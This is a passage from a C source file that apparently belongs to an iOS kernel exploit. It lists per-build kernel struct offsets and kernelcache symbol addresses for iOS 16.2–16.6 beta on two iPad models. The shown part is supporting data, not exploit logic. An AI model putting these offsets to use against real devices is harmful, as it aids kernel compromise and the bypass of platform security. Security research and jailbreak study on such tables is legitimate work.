.task__object_size = 0x630,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a3cd190,\n            .kernelcache__gPhysBase = 0xfffffff0078401b0,\n            .kernelcache__gPhysSize = 0xfffffff0078401b0 + 8,\n            .kernelcache__gVirtBase = 0xfffffff00783e390,\n            .kernelcache__perfmon_devices = 0xfffffff00a4083b0,\n            .kernelcache__perfmon_dev_open = 0xfffffff007ef40f4,\n            .kernelcache__ptov_table = 0xfffffff0077f33b8,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a407800,\n            .kernelcache__vm_pages = 0xfffffff0077f00d0,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077f2368,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4077f8,\n            .kernelcache__vn_kqfilter = 0xfffffff007f466a0,\n        },\n\n        // iOS 16.4\n            {\n            .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:59 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8101\",\n            .build_version = \"20E246\",\n            .device_id = \"iPad13,19\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a48d208,\n            .kernelcache__gPhysBase = 0xfffffff00791ffc0,\n            .kernelcache__gPhysSize = 0xfffffff00791ffc0 + 8,\n            .kernelcache__gVirtBase = 0xfffffff00791e198,\n            .kernelcache__perfmon_devices = 0xfffffff00a4cb520,\n            .kernelcache__perfmon_dev_open = 0xfffffff007f0c64c,\n            .kernelcache__ptov_table = 0xfffffff0078d3188,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a4ca990,\n            .kernelcache__vm_pages = 0xfffffff0078cfeb8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078d2128,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4ca988,\n            .kernelcache__vn_kqfilter = 0xfffffff007f5b538,\n        },\n\n        // iOS 16.4.1\n            {\n            .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:59 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8101\",\n            .build_version = \"20E252\",\n            .device_id = \"iPad13,19\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a48d208,\n            .kernelcache__gPhysBase = 0xfffffff00791ffc0,\n            .kernelcache__gPhysSize = 0xfffffff00791ffc0 + 8,\n            .kernelcache__gVirtBase = 0xfffffff00791e198,\n            .kernelcache__perfmon_devices = 0xfffffff00a4cb520,\n            .kernelcache__perfmon_dev_open = 0xfffffff007f0c64c,\n            .kernelcache__ptov_table = 0xfffffff0078d3188,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a4ca990,\n            .kernelcache__vm_pages = 0xfffffff0078cfeb8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078d2128,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4ca988,\n            .kernelcache__vn_kqfilter = 0xfffffff007f5b538,\n        },\n\n        // iOS 16.5\n            {\n            .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:08:42 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8101\",\n            .build_version = \"20F66\",\n            .device_id = \"iPad13,19\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a499288,\n            .kernelcache__gPhysBase = 0xfffffff007920100,\n            .kernelcache__gPhysSize = 0xfffffff007920100 + 8,\n            .kernelcache__gVirtBase = 0xfffffff00791e2d8,\n            .kernelcache__perfmon_devices = 0xfffffff00a4d7520,\n            .kernelcache__perfmon_dev_open = 0xfffffff007f0c84c,\n            .kernelcache__ptov_table = 0xfffffff0078d3188,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a4d6990,\n            .kernelcache__vm_pages = 0xfffffff0078cfeb8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078d2128,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4d6988,\n            .kernelcache__vn_kqfilter = 0xfffffff007f5b9d0,\n        },\n\n        // iOS 16.6b1\n            {\n            .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:18:36 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8101\",\n            .build_version = \"20G5026e\",\n            .device_id = \"iPad13,19\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a549ab0,\n            .kernelcache__gPhysBase = 0xfffffff0079382a8,\n            .kernelcache__gPhysSize = 0xfffffff0079382a8 + 8,\n            .kernelcache__gVirtBase = 0xfffffff007936460,\n            .kernelcache__perfmon_devices = 0xfffffff00a589550,\n            .kernelcache__perfmon_dev_open = 0xfffffff007f3508c,\n            .kernelcache__ptov_table = 0xfffffff0078eb9c8,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a588910,\n            .kernelcache__vm_pages = 0xfffffff0078e8108,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078ea968,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a588908,\n            .kernelcache__vn_kqfilter = 0xfffffff007f83be0,\n        },\n\n        // iPad Pro 11 4th //\n    // iOS 16.2\n        {\n            .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:10:34 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8112\",\n            .build_version = \"20C65\",\n            .device_id = \"iPad14,3\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x648,\n            .thread__task_threads__next = 0x380 - 0x18,\n            .thread__task_threads__prev = 0x380 - 0x18 + 8,\n            .thread__map = 0x380,\n            .thread__thread_id = 0x420,\n            .thread__object_size = 0x4c8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000a989190,\n            .kernelcache__gPhysBase = 0xfffffe00079a80c8,\n            .kernelcache__gPhysSize = 0xfffffe00079a80c8 + 8,\n            .kernelcache__gVirtBase = 0xfffffe00079a62a8,\n            .kernelcache__perfmon_devices = 0xfffffe000a9c43b0,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080bcdd0,\n            .kernelcache__ptov_table = 0xfffffe00078f3370,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000a9c3800,\n            .kernelcache__vm_pages = 0xfffffe00078f0098,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00078f2330,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000a9c37f8,\n            .kernelcache__vn_kqfilter = 0xfffffe000810cdf8,\n        },\n\n        // iOS 16.3\n        {\n            .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:23:25 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8112\",\n            .build_version = \"20D47\",\n            .device_id = \"iPad14,3\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x648,\n            .thread__task_threads__next = 0x380 - 0x18,\n            .thread__task_threads__prev = 0x380 - 0x18 + 8,\n            .thread__map = 0x380,\n            .thread__thread_id = 0x420,\n            .thread__object_size = 0x4c8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000a99d190,\n            .kernelcache__gPhysBase = 0xfffffe00079a81b0,\n            .kernelcache__gPhysSize = 0xfffffe00079a81b0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe00079a6390,\n            .kernelcache__perfmon_devices = 0xfffffe000a9d83b0,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080bcc60,\n            .kernelcache__ptov_table = 0xfffffe00078f33b0,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000a9d7800,\n            .kernelcache__vm_pages = 0xfffffe00078f00d8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00078f2370,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000a9d77f8,\n            .kernelcache__vn_kqfilter = 0xfffffe000810cc88,\n        },\n\n        // iOS 16.3.1\n        {\n            .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:23:25 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8112\",\n            .build_version = \"20D67\",\n            .device_id = \"iPad14,3\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x648,\n            .thread__task_threads__next = 0x380 - 0x18,\n            .thread__task_threads__prev = 0x380 - 0x18 + 8,\n            .thread__map = 0x380,\n            .thread__thread_id = 0x420,\n            .thread__object_size = 0x4c8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000a99d190,\n            .kernelcache__gPhysBase = 0xfffffe00079a81b0,\n            .kernelcache__gPhysSize = 0xfffffe00079a81b0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe00079a6390,\n            .kernelcache__perfmon_devices = 0xfffffe000a9d83b0,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080bcc60,\n            .kernelcache__ptov_table = 0xfffffe00078f33b0,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000a9d7800,\n            .kernelcache__vm_pages = 0xfffffe00078f00d8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00078f2370,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000a9d77f8,\n            .kernelcache__vn_kqfilter = 0xfffffe000810cc88,\n        },\n\n        // iOS 16.4\n        {\n            .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:28 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8112\",\n            .build_version = \"20E246\",\n            .device_id = \"iPad14,3\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 